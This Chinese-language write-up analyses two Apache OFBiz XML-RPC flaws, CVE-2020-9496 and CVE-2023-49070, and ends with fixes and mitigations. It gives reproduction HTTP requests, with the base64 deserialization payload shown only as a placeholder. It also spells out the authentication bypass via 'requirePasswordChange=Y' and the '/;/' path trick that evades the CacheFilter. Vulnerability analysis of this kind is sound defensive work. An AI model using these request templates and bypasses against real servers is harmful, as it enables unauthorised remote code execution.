CVE-2023-49070&&CVE-2020-9496 OFBIZ XML-RPC漏洞分析
字数 1627 2025-08-19 12:40:43

Apache OFBiz XML-RPC漏洞分析(CVE-2023-49070 & CVE-2020-9496)

1. CVE-2020-9496漏洞分析

1.1 漏洞概述

Apache OFBiz未授权远程代码执行漏洞,影响版本:Apache OFBiz < 17.12.04

1.2 环境搭建

  1. 下载受影响版本(17.12.03):https://downloads.apache.org/ofbiz/
  2. 配置并编译项目
  3. 运行org.apache.ofbiz.base.start.Start启动服务
  4. 访问https://localhost:8443/accounting

1.3 漏洞复现

发送以下恶意XML请求:

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
    <param>
    <value>
        <struct>
        <member>
            <name>test</name>
            <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
            [base64编码的恶意payload]
            </serializable>
            </value>
        </member>
        </struct>
    </value>
    </param>
</params>
</methodCall>

注意:直接使用原始base64编码,不要进行URL编码

1.4 XML-RPC消息格式分析

标准XML-RPC请求包含:

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>examples.getStateName</methodName>  
  <params> 
    <param> 
      <value>
        <i4>41</i4>
      </value> 
    </param> 
  </params> 
</methodCall>

常见数据类型:

  • array: <value><array><data><value><int>7</int></value></data></array></value>
  • struct:
<struct> 
  <member> 
    <name>foo</name> 
    <value>bar</value> 
  </member> 
</struct>

1.5 漏洞原理分析

  1. 路由处理

    • 配置在webtools/webapp/webtools/WEB-INF/web.xml
    • 通过RequestHandler处理请求,读取controller.xml配置
    • 最终调用runEvent函数处理请求
  2. XML解析过程

    • 使用XMLReader解析POST数据,XmlRpcRequestParser作为解析器
    • 当遇到serializable标签且xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"时,返回SerializableParser对象
    • SerializableParser创建base64解码器并解码数据
    • MapParserendValueTag中调用getResult触发反序列化
  3. 为什么使用struct标签

    • struct能将数据作为结构体传入
    • 只有使用struct才能在MapParser中调用getResult触发反序列化

1.6 漏洞修复

  1. controller.xml中为/webtools/control/xmlrpc路由添加鉴权
  2. CacheFilter中增加对serializable标签的检查

2. CVE-2023-49070漏洞分析

2.1 漏洞概述

CVE-2020-9496的绕过漏洞,影响版本:Apache OFBiz < 18.12.10

2.2 漏洞复现

POST /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
    <param>
    <value>
        <struct>
        <member>
            <name>test</name>
            <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
            [base64编码的恶意payload]
            </serializable>
            </value>
        </member>
        </struct>
    </value>
    </param>
</params>
</methodCall>

2.3 漏洞原理分析

  1. 权限绕过机制

    • LoginWorkercheckLogin方法中,有三个条件:
      if (username == null
          || (password == null && token == null)
          || "error".equals(login(request, response)))
      
    • requirePasswordChange=Y时,login方法返回requirePasswordChange而非"error"
    • 从而绕过鉴权检查
  2. CacheFilter绕过

    • 通过添加/;/绕过CacheFilter</serializable的检查

3. 总结与防护建议

3.1 漏洞链分析

  1. CVE-2020-9496:未授权XML-RPC反序列化漏洞
  2. CVE-2023-49070:通过特殊参数和路径绕过鉴权机制

3.2 防护措施

  1. 升级到最新版本(≥18.12.10)
  2. 禁用不必要的XML-RPC接口
  3. 加强输入验证,特别是对XML数据的解析
  4. 实施严格的权限控制

3.3 参考链接

  1. https://mp.weixin.qq.com/s/vGgZxoKSMoiw98z63UuOpw
  2. https://xz.aliyun.com/t/8184/
  3. https://xz.aliyun.com/t/8324
  4. https://www.oscs1024.com/hd/MPS-ope5-i4zj
Apache OFBiz XML-RPC漏洞分析(CVE-2023-49070 & CVE-2020-9496) 1. CVE-2020-9496漏洞分析 1.1 漏洞概述 Apache OFBiz未授权远程代码执行漏洞,影响版本:Apache OFBiz < 17.12.04 1.2 环境搭建 下载受影响版本(17.12.03):https://downloads.apache.org/ofbiz/ 配置并编译项目 运行org.apache.ofbiz.base.start.Start启动服务 访问https://localhost:8443/accounting 1.3 漏洞复现 发送以下恶意XML请求: 注意 :直接使用原始base64编码,不要进行URL编码 1.4 XML-RPC消息格式分析 标准XML-RPC请求包含: 常见数据类型: array: <value><array><data><value><int>7</int></value></data></array></value> struct: 1.5 漏洞原理分析 路由处理 : 配置在 webtools/webapp/webtools/WEB-INF/web.xml 通过 RequestHandler 处理请求,读取 controller.xml 配置 最终调用 runEvent 函数处理请求 XML解析过程 : 使用 XMLReader 解析POST数据, XmlRpcRequestParser 作为解析器 当遇到 serializable 标签且 xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions" 时,返回 SerializableParser 对象 SerializableParser 创建base64解码器并解码数据 在 MapParser 的 endValueTag 中调用 getResult 触发反序列化 为什么使用struct标签 : struct能将数据作为结构体传入 只有使用struct才能在 MapParser 中调用 getResult 触发反序列化 1.6 漏洞修复 在 controller.xml 中为 /webtools/control/xmlrpc 路由添加鉴权 在 CacheFilter 中增加对 serializable 标签的检查 2. CVE-2023-49070漏洞分析 2.1 漏洞概述 CVE-2020-9496的绕过漏洞,影响版本:Apache OFBiz < 18.12.10 2.2 漏洞复现 2.3 漏洞原理分析 权限绕过机制 : 在 LoginWorker 的 checkLogin 方法中,有三个条件: 当 requirePasswordChange=Y 时, login 方法返回 requirePasswordChange 而非"error" 从而绕过鉴权检查 CacheFilter绕过 : 通过添加 /;/ 绕过 CacheFilter 对 </serializable 的检查 3. 总结与防护建议 3.1 漏洞链分析 CVE-2020-9496:未授权XML-RPC反序列化漏洞 CVE-2023-49070:通过特殊参数和路径绕过鉴权机制 3.2 防护措施 升级到最新版本(≥18.12.10) 禁用不必要的XML-RPC接口 加强输入验证,特别是对XML数据的解析 实施严格的权限控制 3.3 参考链接 https://mp.weixin.qq.com/s/vGgZxoKSMoiw98z63UuOpw https://xz.aliyun.com/t/8184/ https://xz.aliyun.com/t/8324 https://www.oscs1024.com/hd/MPS-ope5-i4zj